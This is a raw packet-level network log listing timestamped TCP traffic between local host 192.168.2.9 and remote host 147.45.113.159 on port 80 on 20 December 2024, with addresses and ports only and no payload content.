Dec 20, 2024 17:13:39.759417057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.759464979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.759694099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.760047913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.760083914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.760545969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.760643959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.760684967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.761298895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.761538029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.761579037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.761598110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.762337923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.762357950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.762382984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.763139963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.763160944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.763183117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.763868093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.763910055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.764209986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.764624119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.764666080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.764909983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.765412092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.765450001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.765614986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.766227007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.766268015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.766541958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.767019033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.767057896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.767229080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.767827034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.767879009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.768379927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.768563032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.768601894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.768699884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.769355059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.769392967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.769699097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.770117998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.770167112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.770262957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.770925999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.770967007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.771132946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.771703005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.771739960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.771955013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.772473097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.772514105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.772898912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.773255110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.773293018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.773509026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.774051905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.774100065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.774136066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.774851084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.774890900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.775074005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.775640965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.775676966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.775702953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.776386023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.776427031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.776573896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.777184010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.777225971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.777689934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.777990103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.778033972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.778671026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.778753042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.778793097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.779153109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.779555082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.779567957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.779602051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.780294895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.780333996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.780409098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.781186104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.781225920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.781426907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.781893969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.781929970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.782010078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.828108072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.845280886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.845599890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.845612049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.845650911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.845690966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.845729113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.846398115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.846724033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.846894026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.847157001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.847479105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.847522974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.847919941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.848006010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.848043919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.848701954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.849510908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.849524021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.849553108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.849617958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.849657059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.850271940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.850625992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.850667953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.851191044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.851207018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.851248980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.852032900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.852252960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.852291107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.852612972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.853419065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.853432894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.853462934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.853666067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.853707075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.854211092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.854299068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.854337931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.854976892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.855102062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.855144024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.855746984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.855966091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.856012106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.856534004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.856621981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.856663942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.857351065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.857455969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.857500076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.858086109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.858228922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.858273983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.858906031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.859700918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.859714031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.859740019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.859769106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.859806061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.889961958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.890290022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.890333891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.890350103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.890511990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.890588045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.891093016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.891388893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.891424894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.891961098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.937628031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.951610088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.952107906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.952121973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.952188969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.952286005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.952336073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.952943087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.952963114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.953008890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.953608036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.953840971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.953891993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.954484940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.954689980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.954737902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.955169916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.955331087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.955382109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.955812931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.956162930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.956255913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.956640959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.956653118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.956695080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.957379103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.957489967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.957540035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.958146095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.958266973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.958322048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.958981037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.959074974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.959120989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.959713936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.960514069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.960525990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.960571051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.960649014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.960692883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.961311102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.961323023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.961366892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.962172985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.962893963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.962904930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.962954044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.962997913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.963047981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.963634968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.963962078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.964015961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.964485884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.964526892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.964579105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.965203047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.965471029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.965523958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.966104984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.966713905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.966770887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.966840982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.966855049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.966902971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.967535019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.967675924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.967726946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.968400002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.968519926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.968570948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.969144106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.969677925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.969727993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.969903946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.969923019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.969969034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.970669985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.971188068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.971235991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.971470118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.971559048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.971607924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.972304106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.972356081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.972407103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.973074913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.973577023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.973629951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.973865032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.973881006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.973927975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.037456036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.037492990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.037691116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.037744045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.037930965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.037981987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.038454056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.038650990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.038705111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.039330959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.039454937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.039505959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.040090084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.040167093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.040216923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.040849924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.041284084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.041335106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.041615963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.042211056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.042264938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.042464018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.042475939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.042515039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.043206930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.043270111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.043323040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.043972015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.044117928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.044167995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.044729948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.044992924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.045043945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.045536041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.045681000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.045730114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.046313047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.046577930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.046631098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.047158003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.047413111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.047471046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.048010111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.048194885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.048247099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.048660994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.049160957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.049213886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.049518108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.049530983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.049572945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.050226927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.050555944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.050611019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.051086903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.051183939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.051234961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.051774025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.052138090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.052191019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.082118988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.082398891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.082487106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.082551956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.082571983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.082623005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.083187103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.084100962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.084114075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.084153891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.125003099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.143584013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.143976927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.143990040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.144040108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.144095898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.144136906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.144541979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.144824982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.144867897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.145345926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.145479918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.145522118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.146179914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.146910906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.146922112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.146959066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.147025108 CET	80	49711	147.45.113.159	192.168.2.9
